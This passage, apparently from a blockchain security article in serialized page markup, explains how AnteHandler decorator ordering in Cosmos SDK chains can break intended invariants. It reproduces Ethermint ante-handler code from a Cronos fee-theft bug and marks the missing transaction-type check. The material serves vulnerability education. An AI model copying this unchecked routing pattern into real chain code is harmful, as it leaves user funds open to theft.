NewSigVerificationDecorator",{"type":23,"tag":504,"props":78359,"children":78360},{"style":523},[78361],{"type":28,"value":526},{"type":23,"tag":504,"props":78363,"children":78364},{"style":529},[78365],{"type":28,"value":35015},{"type":23,"tag":504,"props":78367,"children":78368},{"style":523},[78369],{"type":28,"value":320},{"type":23,"tag":504,"props":78371,"children":78372},{"style":529},[78373],{"type":28,"value":78132},{"type":23,"tag":504,"props":78375,"children":78376},{"style":523},[78377],{"type":28,"value":576},{"type":23,"tag":504,"props":78379,"children":78380},{"style":529},[78381],{"type":28,"value":35015},{"type":23,"tag":504,"props":78383,"children":78384},{"style":523},[78385],{"type":28,"value":320},{"type":23,"tag":504,"props":78387,"children":78388},{"style":529},[78389],{"type":28,"value":78390},"SignModeHandler",{"type":23,"tag":504,"props":78392,"children":78393},{"style":523},[78394],{"type":28,"value":5720},{"type":23,"tag":504,"props":78396,"children":78397},{"class":506,"line":1285},[78398,78403,78407,78411,78415,78419],{"type":23,"tag":504,"props":78399,"children":78400},{"style":517},[78401],{"type":28,"value":78402},"    NewIncrementSequenceDecorator",{"type":23,"tag":504,"props":78404,"children":78405},{"style":523},[78406],{"type":28,"value":526},{"type":23,"tag":504,"props":78408,"children":78409},{"style":529},[78410],{"type":28,"value":35015},{"type":23,"tag":504,"props":78412,"children":78413},{"style":523},[78414],{"type":28,"value":320},{"type":23,"tag":504,"props":78416,"children":78417},{"style":529},[78418],{"type":28,"value":78132},{"type":23,"tag":504,"props":78420,"children":78421},{"style":523},[78422],{"type":28,"value":5720},{"type":23,"tag":504,"props":78424,"children":78425},{"class":506,"line":1294},[78426],{"type":23,"tag":504,"props":78427,"children":78428},{"style":523},[78429],{"type":28,"value":884},{"type":23,"tag":24,"props":78431,"children":78432},{},[78433,78435,78440,78442,78448,78449,78455],{"type":28,"value":78434},"Unfortunately, that order wouldn't work. This is because there are other ",{"type":23,"tag":56,"props":78436,"children":78438},{"className":78437},[],[78439],{"type":28,"value":77970},{"type":28,"value":78441},", such as ",{"type":23,"tag":56,"props":78443,"children":78445},{"className":78444},[],[78446],{"type":28,"value":78447},"SigGasConsumeDecorator",{"type":28,"value":430},{"type":23,"tag":56,"props":78450,"children":78452},{"className":78451},[],[78453],{"type":28,"value":78454},"ConsumeGasForTxSizeDecorator",{"type":28,"value":78456},", that modify account balances. By placing our decorator at the very start of the chain, we might pass the check and later have the signers' balances deducted before reaching the end of the decorator chain and starting transaction execution. Consequently, the invariance we intended to ensure may no longer hold, rendering our check useless.",{"type":23,"tag":24,"props":78458,"children":78459},{},[78460,78462,78468,78470,78475],{"type":28,"value":78461},"The easiest \"mitigation\" is to move our decorator down into the chain list. We say this lightly because it's important to consider various factors such as whether nested ",{"type":23,"tag":56,"props":78463,"children":78465},{"className":78464},[],[78466],{"type":28,"value":78467},"msgs",{"type":28,"value":78469}," are allowed (e.g. the authz module is present), as this precaution alone might not be enough to fully resolve the issue. Without a comprehensive understanding of the entire system, there is a risk that mistakes will still be made in the ",{"type":23,"tag":56,"props":78471,"children":78473},{"className":78472},[],[78474],{"type":28,"value":77296},{"type":28,"value":78476}," chain.",{"type":23,"tag":82,"props":78478,"children":78480},{"id":78479},"real-world-examples-2",[78481],{"type":28,"value":75440},{"type":23,"tag":24,"props":78483,"children":78484},{},[78485,78487,78492,78494,78501],{"type":28,"value":78486},"An instance of ",{"type":23,"tag":56,"props":78488,"children":78490},{"className":78489},[],[78491],{"type":28,"value":77221},{"type":28,"value":78493}," misuse is a ",{"type":23,"tag":92,"props":78495,"children":78498},{"href":78496,"rel":78497},"https://medium.com/immunefi/cronos-theft-of-transactions-fees-bugfix-postmortem-b33f941b9570",[96],[78499],{"type":28,"value":78500},"Theft of Fund bug",{"type":28,"value":78502}," that was exploited in a Cronos contract.",{"type":23,"tag":24,"props":78504,"children":78505},{},[78506,78508,78513,78515,78520,78522,78528,78530,78536,78538,78543,78545,78550],{"type":28,"value":78507},"In this scenario, ",{"type":23,"tag":56,"props":78509,"children":78511},{"className":78510},[],[78512],{"type":28,"value":78467},{"type":28,"value":78514}," are multiplexed to different ",{"type":23,"tag":56,"props":78516,"children":78518},{"className":78517},[],[78519],{"type":28,"value":77221},{"type":28,"value":78521}," sets through the user-controlled ",{"type":23,"tag":56,"props":78523,"children":78525},{"className":78524},[],[78526],{"type":28,"value":78527},"ExtensionOptionsEthereumTx",{"type":28,"value":78529}," option. However, due to a lack of tx validation, if a ",{"type":23,"tag":56,"props":78531,"children":78533},{"className":78532},[],[78534],{"type":28,"value":78535},"MsgEthereumTx",{"type":28,"value":78537}," does not have ",{"type":23,"tag":56,"props":78539,"children":78541},{"className":78540},[],[78542],{"type":28,"value":78527},{"type":28,"value":78544}," specified, it will be routed to non-Ethereum ",{"type":23,"tag":56,"props":78546,"children":78548},{"className":78547},[],[78549],{"type":28,"value":77970},{"type":28,"value":78551},", failing to collect fees from users as intended. Consequently, attackers can exploit the fee refund at the end of transaction processing to steal funds.",{"type":23,"tag":24,"props":78553,"children":78554},{},[78555],{"type":23,"tag":92,"props":78556,"children":78559},{"href":78557,"rel":78558},"https://github.com/crypto-org-chain/ethermint/blob/82805507f7d2e83cad547736883dc22acfb52440/app/ante/ante.go#L33",[96],[78560],{"type":28,"value":75490},{"type":23,"tag":494,"props":78562,"children":78564},{"code":78563,"language":74915,"meta":7,"className":74916,"style":7},"func NewAnteHandler(\n    ak evmtypes.AccountKeeper,\n    bankKeeper evmtypes.BankKeeper,\n    evmKeeper EVMKeeper,\n    feeGrantKeeper authante.FeegrantKeeper,\n    channelKeeper channelkeeper.Keeper,\n    signModeHandler authsigning.SignModeHandler,\n) sdk.AnteHandler {\n    return func(\n        ctx sdk.Context, tx sdk.Tx, sim bool,\n    ) (newCtx sdk.Context, err error) {\n        var anteHandler sdk.AnteHandler\n\n        defer Recover(ctx.Logger(), &err)\n\n        txWithExtensions, ok := tx.(authante.HasExtensionOptionsTx)\n        if ok {\n            opts := txWithExtensions.GetExtensionOptions()\n            if len(opts) > 0 {\n                switch typeURL := opts[0].GetTypeUrl(); typeURL {\n                case \"/ethermint.evm.v1.ExtensionOptionsEthereumTx\":\n                    // handle as *evmtypes.MsgEthereumTx\n\n                    anteHandler = sdk.ChainAnteDecorators(\n                        NewEthSetUpContextDecorator(), // outermost AnteDecorator. SetUpContext must be called first\n                        ...\n                        NewEthIncrementSenderSequenceDecorator(ak), // innermost AnteDecorator.\n                    )\n\n                default:\n                    return ctx, stacktrace.Propagate(\n                        sdkerrors.Wrap(sdkerrors.ErrUnknownExtensionOptions, typeURL),\n                        \"rejecting tx with unsupported extension option\",\n                    )\n                }\n\n                return anteHandler(ctx, tx, sim)\n            }\n        }\n\n        // SHOULD CHECK TX IS NOT MsgEthereumTx HERE\n\n        switch tx.(type) {\n        case sdk.Tx:\n            anteHandler = sdk.ChainAnteDecorators(\n                authante.NewSetUpContextDecorator(), // outermost AnteDecorator. SetUpContext must be called first\n                 ...\n                authante.NewIncrementSequenceDecorator(ak), // innermost AnteDecorator\n            )\n        default:\n            return ctx, stacktrace.Propagate(\n                sdkerrors.Wrapf(sdkerrors.ErrUnknownRequest, \"invalid transaction type: %T\", tx),\n                \"transaction is not an SDK tx\",\n            )\n        }\n\n        return anteHandler(ctx, tx, sim)\n    }\n}\n",[78565],{"type":23,"tag":56,"props":78566,"children":78567},{"__ignoreMap":7},[78568,78584,78609,78633,78650,78675,78701,78726,78749,78765,78821,78862,78888,78895,78941,78948,78994,79010,79040,79075,79127,79144,79152,79159,79188,79204,79212,79238,79246,79253,79265,79299,79345,79357,79364,79371,79378,79417,79424,79431,79438,79446,79453,79477,79501,79529,79554,79562,79595,79602,79614,79645,79700,79713,79721,79729,79737,79777,79785],{"type":23,"tag":504,"props":78569,"children":78570},{"class":506,"line":507},[78571,78575,78580],{"type":23,"tag":504,"props":78572,"children":78573},{"style":511},[78574],{"type":28,"value":75051},{"type":23,"tag":504,"props":78576,"children":78577},{"style":517},[78578],{"type":28,"value":78579}," NewAnteHandler",{"type":23,"tag":504,"props":78581,"children":78582},{"style":523},[78583],{"type":28,"value":2439},{"type":23,"tag":504,"props":78585,"children":78586},{"class":506,"line":540},[78587,78592,78597,78601,78605],{"type":23,"tag":504,"props":78588,"children":78589},{"style":529},[78590],{"type":28,"value":78591},"    ak",{"type":23,"tag":504,"props":78593,"children":78594},{"style":1012},[78595],{"type":28,"value":78596}," evmtypes",{"type":23,"tag":504,"props":78598,"children":78599},{"style":523},[78600],{"type":28,"value":320},{"type":23,"tag":504,"props":78602,"children":78603},{"style":1012},[78604],{"type":28,"value":78132},{"type":23,"tag":504,"props":78606,"children":78607},{"style":523},[78608],{"type":28,"value":2484},{"type":23,"tag":504,"props":78610,"children":78611},{"class":506,"line":555},[78612,78617,78621,78625,78629],{"type":23,"tag":504,"props":78613,"children":78614},{"style":529},[78615],{"type":28,"value":78616},"    bankKeeper",{"type":23,"tag":504,"props":78618,"children":78619},{"style":1012},[78620],{"type":28,"value":78596},{"type":23,"tag":504,"props":78622,"children":78623},{"style":523},[78624],{"type":28,"value":320},{"type":23,"tag":504,"props":78626,"children":78627},{"style":1012},[78628],{"type":28,"value":78205},{"type":23,"tag":504,"props":78630,"children":78631},{"style":523},[78632],{"type":28,"value":2484},{"type":23,"tag":504,"props":78634,"children":78635},{"class":506,"line":633},[78636,78641,78646],{"type":23,"tag":504,"props":78637,"children":78638},{"style":529},[78639],{"type":28,"value":78640},"    evmKeeper",{"type":23,"tag":504,"props":78642,"children":78643},{"style":1012},[78644],{"type":28,"value":78645}," EVMKeeper",{"type":23,"tag":504,"props":78647,"children":78648},{"style":523},[78649],{"type":28,"value":2484},{"type":23,"tag":504,"props":78651,"children":78652},{"class":506,"line":687},[78653,78658,78663,78667,78671],{"type":23,"tag":504,"props":78654,"children":78655},{"style":529},[78656],{"type":28,"value":78657},"    feeGrantKeeper",{"type":23,"tag":504,"props":78659,"children":78660},{"style":1012},[78661],{"type":28,"value":78662}," authante",{"type":23,"tag":504,"props":78664,"children":78665},{"style":523},[78666],{"type":28,"value":320},{"type":23,"tag":504,"props":78668,"children":78669},{"style":1012},[78670],{"type":28,"value":78222},{"type":23,"tag":504,"props":78672,"children":78673},{"style":523},[78674],{"type":28,"value":2484},{"type":23,"tag":504,"props":78676,"children":78677},{"class":506,"line":736},[78678,78683,78688,78692,78697],{"type":23,"tag":504,"props":78679,"children":78680},{"style":529},[78681],{"type":28,"value":78682},"    channelKeeper",{"type":23,"tag":504,"props":78684,"children":78685},{"style":1012},[78686],{"type":28,"value":78687}," channelkeeper",{"type":23,"tag":504,"props":78689,"children":78690},{"style":523},[78691],{"type":28,"value":320},{"type":23,"tag":504,"props":78693,"children":78694},{"style":1012},[78695],{"type":28,"value":78696},"Keeper",{"type":23,"tag":504,"props":78698,"children":78699},{"style":523},[78700],{"type":28,"value":2484},{"type":23,"tag":504,"props":78702,"children":78703},{"class":506,"line":785},[78704,78709,78714,78718,78722],{"type":23,"tag":504,"props":78705,"children":78706},{"style":529},[78707],{"type":28,"value":78708},"    signModeHandler",{"type":23,"tag":504,"props":78710,"children":78711},{"style":1012},[78712],{"type":28,"value":78713}," authsigning",{"type":23,"tag":504,"props":78715,"children":78716},{"style":523},[78717],{"type":28,"value":320},{"type":23,"tag":504,"props":78719,"children":78720},{"style":1012},[78721],{"type":28,"value":78390},{"type":23,"tag":504,"props":78723,"children":78724},{"style":523},[78725],{"type":28,"value":2484},{"type":23,"tag":504,"props":78727,"children":78728},{"class":506,"line":813},[78729,78733,78737,78741,78745],{"type":23,"tag":504,"props":78730,"children":78731},{"style":523},[78732],{"type":28,"value":2064},{"type":23,"tag":504,"props":78734,"children":78735},{"style":1012},[78736],{"type":28,"value":77481},{"type":23,"tag":504,"props":78738,"children":78739},{"style":523},[78740],{"type":28,"value":320},{"type":23,"tag":504,"props":78742,"children":78743},{"style":1012},[78744],{"type":28,"value":77221},{"type":23,"tag":504,"props":78746,"children":78747},{"style":523},[78748],{"type":28,"value":552},{"type":23,"tag":504,"props":78750,"children":78751},{"class":506,"line":851},[78752,78756,78761],{"type":23,"tag":504,"props":78753,"children":78754},{"style":544},[78755],{"type":28,"value":15968},{"type":23,"tag":504,"props":78757,"children":78758},{"style":511},[78759],{"type":28,"value":78760}," func",{"type":23,"tag":504,"props":78762,"children":78763},{"style":523},[78764],{"type":28,"value":2439},{"type":23,"tag":504,"props":78766,"children":78767},{"class":506,"line":869},[78768,78772,78776,78780,78784,78788,78792,78796,78800,78804,78808,78813,78817],{"type":23,"tag":504,"props":78769,"children":78770},{"style":529},[78771],{"type":28,"value":25166},{"type":23,"tag":504,"props":78773,"children":78774},{"style":1012},[78775],{"type":28,"value":77392},{"type":23,"tag":504,"props":78777,"children":78778},{"style":523},[78779],{"type":28,"value":320},{"type":23,"tag":504,"props":78781,"children":78782},{"style":1012},[78783],{"type":28,"value":75100},{"type":23,"tag":504,"props":78785,"children":78786},{"style":523},[78787],{"type":28,"value":576},{"type":23,"tag":504,"props":78789,"children":78790},{"style":529},[78791],{"type":28,"value":77932},{"type":23,"tag":504,"props":78793,"children":78794},{"style":1012},[78795],{"type":28,"value":77392},{"type":23,"tag":504,"props":78797,"children":78798},{"style":523},[78799],{"type":28,"value":320},{"type":23,"tag":504,"props":78801,"children":78802},{"style":1012},[78803],{"type":28,"value":77425},{"type":23,"tag":504,"props":78805,"children":78806},{"style":523},[78807],{"type":28,"value":576},{"type":23,"tag":504,"props":78809,"children":78810},{"style":529},[78811],{"type":28,"value":78812},"sim",{"type":23,"tag":504,"props":78814,"children":78815},{"style":1012},[78816],{"type":28,"value":11032},{"type":23,"tag":504,"props":78818,"children":78819},{"style":523},[78820],{"type":28,"value":2484},{"type":23,"tag":504,"props":78822,"children":78823},{"class":506,"line":878},[78824,78829,78834,78838,78842,78846,78850,78854,78858],{"type":23,"tag":504,"props":78825,"children":78826},{"style":523},[78827],{"type":28,"value":78828},"    ) (",{"type":23,"tag":504,"props":78830,"children":78831},{"style":529},[78832],{"type":28,"value":78833},"newCtx",{"type":23,"tag":504,"props":78835,"children":78836},{"style":1012},[78837],{"type":28,"value":77392},{"type":23,"tag":504,"props":78839,"children":78840},{"style":523},[78841],{"type":28,"value":320},{"type":23,"tag":504,"props":78843,"children":78844},{"style":1012},[78845],{"type":28,"value":75100},{"type":23,"tag":504,"props":78847,"children":78848},{"style":523},[78849],{"type":28,"value":576},{"type":23,"tag":504,"props":78851,"children":78852},{"style":529},[78853],{"type":28,"value":47399},{"type":23,"tag":504,"props":78855,"children":78856},{"style":1012},[78857],{"type":28,"value":13856},{"type":23,"tag":504,"props":78859,"children":78860},{"style":523},[78861],{"type":28,"value":537},{"type":23,"tag":504,"props":78863,"children":78864},{"class":506,"line":1221},[78865,78870,78875,78879,78883],{"type":23,"tag":504,"props":78866,"children":78867},{"style":511},[78868],{"type":28,"value":78869},"        var",{"type":23,"tag":504,"props":78871,"children":78872},{"style":529},[78873],{"type":28,"value":78874}," anteHandler",{"type":23,"tag":504,"props":78876,"children":78877},{"style":1012},[78878],{"type":28,"value":77392},{"type":23,"tag":504,"props":78880,"children":78881},{"style":523},[78882],{"type":28,"value":320},{"type":23,"tag":504,"props":78884,"children":78885},{"style":1012},[78886],{"type":28,"value":78887},"AnteHandler\n",{"type":23,"tag":504,"props":78889,"children":78890},{"class":506,"line":1276},[78891],{"type":23,"tag":504,"props":78892,"children":78893},{"emptyLinePlaceholder":16},[78894],{"type":28,"value":1038},{"type":23,"tag":504,"props":78896,"children":78897},{"class":506,"line":1285},[78898,78903,78908,78912,78916,78920,78925,78929,78933,78937],{"type":23,"tag":504,"props":78899,"children":78900},{"style":544},[78901],{"type":28,"value":78902},"        defer",{"type":23,"tag":504,"props":78904,"children":78905},{"style":517},[78906],{"type":28,"value":78907}," Recover",{"type":23,"tag":504,"props":78909,"children":78910},{"style":523},[78911],{"type":28,"value":526},{"type":23,"tag":504,"props":78913,"children":78914},{"style":529},[78915],{"type":28,"value":19262},{"type":23,"tag":504,"props":78917,"children":78918},{"style":523},[78919],{"type":28,"value":320},{"type":23,"tag":504,"props":78921,"children":78922},{"style":517},[78923],{"type":28,"value":78924},"Logger",{"type":23,"tag":504,"props":78926,"children":78927},{"style":523},[78928],{"type":28,"value":17355},{"type":23,"tag":504,"props":78930,"children":78931},{"style":598},[78932],{"type":28,"value":2086},{"type":23,"tag":504,"props":78934,"children":78935},{"style":529},[78936],{"type":28,"value":47399},{"type":23,"tag":504,"props":78938,"children":78939},{"style":523},[78940],{"type":28,"value":1192},{"type":23,"tag":504,"props":78942,"children":78943},{"class":506,"line":1294},[78944],{"type":23,"tag":504,"props":78945,"children":78946},{"emptyLinePlaceholder":16},[78947],{"type":28,"value":1038},{"type":23,"tag":504,"props":78949,"children":78950},{"class":506,"line":1302},[78951,78956,78960,78964,78968,78972,78976,78981,78985,78990],{"type":23,"tag":504,"props":78952,"children":78953},{"style":529},[78954],{"type":28,"value":78955},"        txWithExtensions",{"type":23,"tag":504,"props":78957,"children":78958},{"style":523},[78959],{"type":28,"value":576},{"type":23,"tag":504,"props":78961,"children":78962},{"style":529},[78963],{"type":28,"value":77518},{"type":23,"tag":504,"props":78965,"children":78966},{"style":598},[78967],{"type":28,"value":75167},{"type":23,"tag":504,"props":78969,"children":78970},{"style":529},[78971],{"type":28,"value":67008},{"type":23,"tag":504,"props":78973,"children":78974},{"style":523},[78975],{"type":28,"value":77531},{"type":23,"tag":504,"props":78977,"children":78978},{"style":1012},[78979],{"type":28,"value":78980},"authante",{"type":23,"tag":504,"props":78982,"children":78983},{"style":523},[78984],{"type":28,"value":320},{"type":23,"tag":504,"props":78986,"children":78987},{"style":1012},[78988],{"type":28,"value":78989},"HasExtensionOptionsTx",{"type":23,"tag":504,"props":78991,"children":78992},{"style":523},[78993],{"type":28,"value":1192},{"type":23,"tag":504,"props":78995,"children":78996},{"class":506,"line":1311},[78997,79001,79006],{"type":23,"tag":504,"props":78998,"children":78999},{"style":544},[79000],{"type":28,"value":2250},{"type":23,"tag":504,"props":79002,"children":79003},{"style":529},[79004],{"type":28,"value":79005}," ok",{"type":23,"tag":504,"props":79007,"children":79008},{"style":523},[79009],{"type":28,"value":552},{"type":23,"tag":504,"props":79011,"children":79012},{"class":506,"line":1334},[79013,79018,79022,79027,79031,79036],{"type":23,"tag":504,"props":79014,"children":79015},{"style":529},[79016],{"type":28,"value":79017},"            opts",{"type":23,"tag":504,"props":79019,"children":79020},{"style":598},[79021],{"type":28,"value":75167},{"type":23,"tag":504,"props":79023,"children":79024},{"style":529},[79025],{"type":28,"value":79026}," txWithExtensions",{"type":23,"tag":504,"props":79028,"children":79029},{"style":523},[79030],{"type":28,"value":320},{"type":23,"tag":504,"props":79032,"children":79033},{"style":517},[79034],{"type":28,"value":79035},"GetExtensionOptions",{"type":23,"tag":504,"props":79037,"children":79038},{"style":523},[79039],{"type":28,"value":1156},{"type":23,"tag":504,"props":79041,"children":79042},{"class":506,"line":1370},[79043,79047,79051,79055,79059,79063,79067,79071],{"type":23,"tag":504,"props":79044,"children":79045},{"style":544},[79046],{"type":28,"value":57780},{"type":23,"tag":504,"props":79048,"children":79049},{"style":517},[79050],{"type":28,"value":7541},{"type":23,"tag":504,"props":79052,"children":79053},{"style":523},[79054],{"type":28,"value":526},{"type":23,"tag":504,"props":79056,"children":79057},{"style":529},[79058],{"type":28,"value":47541},{"type":23,"tag":504,"props":79060,"children":79061},{"style":523},[79062],{"type":28,"value":2064},{"type":23,"tag":504,"props":79064,"children":79065},{"style":598},[79066],{"type":28,"value":9443},{"type":23,"tag":504,"props":79068,"children":79069},{"style":1440},[79070],{"type":28,"value":2023},{"type":23,"tag":504,"props":79072,"children":79073},{"style":523},[79074],{"type":28,"value":552},{"type":23,"tag":504,"props":79076,"children":79077},{"class":506,"line":1384},[79078,79083,79088,79092,79097,79101,79105,79109,79114,79118,79123],{"type":23,"tag":504,"props":79079,"children":79080},{"style":544},[79081],{"type":28,"value":79082},"                switch",{"type":23,"tag":504,"props":79084,"children":79085},{"style":529},[79086],{"type":28,"value":79087}," typeURL",{"type":23,"tag":504,"props":79089,"children":79090},{"style":598},[79091],{"type":28,"value":75167},{"type":23,"tag":504,"props":79093,"children":79094},{"style":529},[79095],{"type":28,"value":79096}," opts",{"type":23,"tag":504,"props":79098,"children":79099},{"style":523},[79100],{"type":28,"value":2711},{"type":23,"tag":504,"props":79102,"children":79103},{"style":1440},[79104],{"type":28,"value":3001},{"type":23,"tag":504,"props":79106,"children":79107},{"style":523},[79108],{"type":28,"value":49328},{"type":23,"tag":504,"props":79110,"children":79111},{"style":517},[79112],{"type":28,"value":79113},"GetTypeUrl",{"type":23,"tag":504,"props":79115,"children":79116},{"style":523},[79117],{"type":28,"value":27429},{"type":23,"tag":504,"props":79119,"children":79120},{"style":529},[79121],{"type":28,"value":79122},"typeURL",{"type":23,"tag":504,"props":79124,"children":79125},{"style":523},[79126],{"type":28,"value":552},{"type":23,"tag":504,"props":79128,"children":79129},{"class":506,"line":1392},[79130,79135,79140],{"type":23,"tag":504,"props":79131,"children":79132},{"style":544},[79133],{"type":28,"value":79134},"                case",{"type":23,"tag":504,"props":79136,"children":79137},{"style":622},[79138],{"type":28,"value":79139}," \"/ethermint.evm.v1.ExtensionOptionsEthereumTx\"",{"type":23,"tag":504,"props":79141,"children":79142},{"style":523},[79143],{"type":28,"value":4550},{"type":23,"tag":504,"props":79145,"children":79146},{"class":506,"line":1400},[79147],{"type":23,"tag":504,"props":79148,"children":79149},{"style":1106},[79150],{"type":28,"value":79151},"                    // handle as *evmtypes.MsgEthereumTx\n",{"type":23,"tag":504,"props":79153,"children":79154},{"class":506,"line":1422},[79155],{"type":23,"tag":504,"props":79156,"children":79157},{"emptyLinePlaceholder":16},[79158],{"type":28,"value":1038},{"type":23,"tag":504,"props":79160,"children":79161},{"class":506,"line":1450},[79162,79167,79171,79175,79179,79184],{"type":23,"tag":504,"props":79163,"children":79164},{"style":529},[79165],{"type":28,"value":79166},"                    anteHandler",{"type":23,"tag":504,"props":79168,"children":79169},{"style":598},[79170],{"type":28,"value":648},{"type":23,"tag":504,"props":79172,"children":79173},{"style":529},[79174],{"type":28,"value":77392},{"type":23,"tag":504,"props":79176,"children":79177},{"style":523},[79178],{"type":28,"value":320},{"type":23,"tag":504,"props":79180,"children":79181},{"style":517},[79182],{"type":28,"value":79183},"ChainAnteDecorators",{"type":23,"tag":504,"props":79185,"children":79186},{"style":523},[79187],{"type":28,"value":2439},{"type":23,"tag":504,"props":79189,"children":79190},{"class":506,"line":1463},[79191,79196,79200],{"type":23,"tag":504,"props":79192,"children":79193},{"style":517},[79194],{"type":28,"value":79195},"                        NewEthSetUpContextDecorator",{"type":23,"tag":504,"props":79197,"children":79198},{"style":523},[79199],{"type":28,"value":17355},{"type":23,"tag":504,"props":79201,"children":79202},{"style":1106},[79203],{"type":28,"value":78046},{"type":23,"tag":504,"props":79205,"children":79206},{"class":506,"line":1485},[79207],{"type":23,"tag":504,"props":79208,"children":79209},{"style":598},[79210],{"type":28,"value":79211},"                        ...\n",{"type":23,"tag":504,"props":79213,"children":79214},{"class":506,"line":1503},[79215,79220,79224,79229,79233],{"type":23,"tag":504,"props":79216,"children":79217},{"style":517},[79218],{"type":28,"value":79219},"                        NewEthIncrementSenderSequenceDecorator",{"type":23,"tag":504,"props":79221,"children":79222},{"style":523},[79223],{"type":28,"value":526},{"type":23,"tag":504,"props":79225,"children":79226},{"style":529},[79227],{"type":28,"value":79228},"ak",{"type":23,"tag":504,"props":79230,"children":79231},{"style":523},[79232],{"type":28,"value":14157},{"type":23,"tag":504,"props":79234,"children":79235},{"style":1106},[79236],{"type":28,"value":79237},"// innermost AnteDecorator.\n",{"type":23,"tag":504,"props":79239,"children":79240},{"class":506,"line":1516},[79241],{"type":23,"tag":504,"props":79242,"children":79243},{"style":523},[79244],{"type":28,"value":79245},"                    )\n",{"type":23,"tag":504,"props":79247,"children":79248},{"class":506,"line":1543},[79249],{"type":23,"tag":504,"props":79250,"children":79251},{"emptyLinePlaceholder":16},[79252],{"type":28,"value":1038},{"type":23,"tag":504,"props":79254,"children":79255},{"class":506,"line":1583},[79256,79261],{"type":23,"tag":504,"props":79257,"children":79258},{"style":544},[79259],{"type":28,"value":79260},"                default",{"type":23,"tag":504,"props":79262,"children":79263},{"style":523},[79264],{"type":28,"value":4550},{"type":23,"tag":504,"props":79266,"children":79267},{"class":506,"line":1605},[79268,79273,79277,79281,79286,79290,79295],{"type":23,"tag":504,"props":79269,"children":79270},{"style":544},[79271],{"type":28,"value":79272},"                    return",{"type":23,"tag":504,"props":79274,"children":79275},{"style":529},[79276],{"type":28,"value":24823},{"type":23,"tag":504,"props":79278,"children":79279},{"style":523},[79280],{"type":28,"value":576},{"type":23,"tag":504,"props":79282,"children":79283},{"style":529},[79284],{"type":28,"value":79285},"stacktrace",{"type":23,"tag":504,"props":79287,"children":79288},{"style":523},[79289],{"type":28,"value":320},{"type":23,"tag":504,"props":79291,"children":79292},{"style":517},[79293],{"type":28,"value":79294},"Propagate",{"type":23,"tag":504,"props":79296,"children":79297},{"style":523},[79298],{"type":28,"value":2439},{"type":23,"tag":504,"props":79300,"children":79301},{"class":506,"line":1614},[79302,79307,79311,79315,79319,79324,79328,79333,79337,79341],{"type":23,"tag":504,"props":79303,"children":79304},{"style":529},[79305],{"type":28,"value":79306},"                        sdkerrors",{"type":23,"tag":504,"props":79308,"children":79309},{"style":523},[79310],{"type":28,"value":320},{"type":23,"tag":504,"props":79312,"children":79313},{"style":517},[79314],{"type":28,"value":77597},{"type":23,"tag":504,"props":79316,"children":79317},{"style":523},[79318],{"type":28,"value":526},{"type":23,"tag":504,"props":79320,"children":79321},{"style":529},[79322],{"type":28,"value":79323},"sdkerrors",{"type":23,"tag":504,"props":79325,"children":79326},{"style":523},[79327],{"type":28,"value":320},{"type":23,"tag":504,"props":79329,"children":79330},{"style":529},[79331],{"type":28,"value":79332},"ErrUnknownExtensionOptions",{"type":23,"tag":504,"props":79334,"children":79335},{"style":523},[79336],{"type":28,"value":576},{"type":23,"tag":504,"props":79338,"children":79339},{"style":529},[79340],{"type":28,"value":79122},{"type":23,"tag":504,"props":79342,"children":79343},{"style":523},[79344],{"type":28,"value":5720},{"type":23,"tag":504,"props":79346,"children":79347},{"class":506,"line":1627},[79348,79353],{"type":23,"tag":504,"props":79349,"children":79350},{"style":622},[79351],{"type":28,"value":79352},"                        \"rejecting tx with unsupported extension option\"",{"type":23,"tag":504,"props":79354,"children":79355},{"style":523},[79356],{"type":28,"value":2484},{"type":23,"tag":504,"props":79358,"children":79359},{"class":506,"line":1655},[79360],{"type":23,"tag":504,"props":79361,"children":79362},{"style":523},[79363],{"type":28,"value":79245},{"type":23,"tag":504,"props":79365,"children":79366},{"class":506,"line":1668},[79367],{"type":23,"tag":504,"props":79368,"children":79369},{"style":523},[79370],{"type":28,"value":1714},{"type":23,"tag":504,"props":79372,"children":79373},{"class":506,"line":1682},[79374],{"type":23,"tag":504,"props":79375,"children":79376},{"emptyLinePlaceholder":16},[79377],{"type":28,"value":1038},{"type":23,"tag":504,"props":79379,"children":79380},{"class":506,"line":1691},[79381,79385,79389,79393,79397,79401,79405,79409,79413],{"type":23,"tag":504,"props":79382,"children":79383},{"style":544},[79384],{"type":28,"value":59707},{"type":23,"tag":504,"props":79386,"children":79387},{"style":517},[79388],{"type":28,"value":78874},{"type":23,"tag":504,"props":79390,"children":79391},{"style":523},[79392],{"type":28,"value":526},{"type":23,"tag":504,"props":79394,"children":79395},{"style":529},[79396],{"type":28,"value":19262},{"type":23,"tag":504,"props":79398,"children":79399},{"style":523},[79400],{"type":28,"value":576},{"type":23,"tag":504,"props":79402,"children":79403},{"style":529},[79404],{"type":28,"value":77932},{"type":23,"tag":504,"props":79406,"children":79407},{"style":523},[79408],{"type":28,"value":576},{"type":23,"tag":504,"props":79410,"children":79411},{"style":529},[79412],{"type":28,"value":78812},{"type":23,"tag":504,"props":79414,"children":79415},{"style":523},[79416],{"type":28,"value":1192},{"type":23,"tag":504,"props":79418,"children":79419},{"class":506,"line":1699},[79420],{"type":23,"tag":504,"props":79421,"children":79422},{"style":523},[79423],{"type":28,"value":1282},{"type":23,"tag":504,"props":79425,"children":79426},{"class":506,"line":1708},[79427],{"type":23,"tag":504,"props":79428,"children":79429},{"style":523},[79430],{"type":28,"value":1291},{"type":23,"tag":504,"props":79432,"children":79433},{"class":506,"line":1717},[79434],{"type":23,"tag":504,"props":79435,"children":79436},{"emptyLinePlaceholder":16},[79437],{"type":28,"value":1038},{"type":23,"tag":504,"props":79439,"children":79440},{"class":506,"line":1725},[79441],{"type":23,"tag":504,"props":79442,"children":79443},{"style":1106},[79444],{"type":28,"value":79445},"        // SHOULD CHECK TX IS NOT MsgEthereumTx HERE\n",{"type":23,"tag":504,"props":79447,"children":79448},{"class":506,"line":1757},[79449],{"type":23,"tag":504,"props":79450,"children":79451},{"emptyLinePlaceholder":16},[79452],{"type":28,"value":1038},{"type":23,"tag":504,"props":79454,"children":79455},{"class":506,"line":1765},[79456,79461,79465,79469,79473],{"type":23,"tag":504,"props":79457,"children":79458},{"style":544},[79459],{"type":28,"value":79460},"        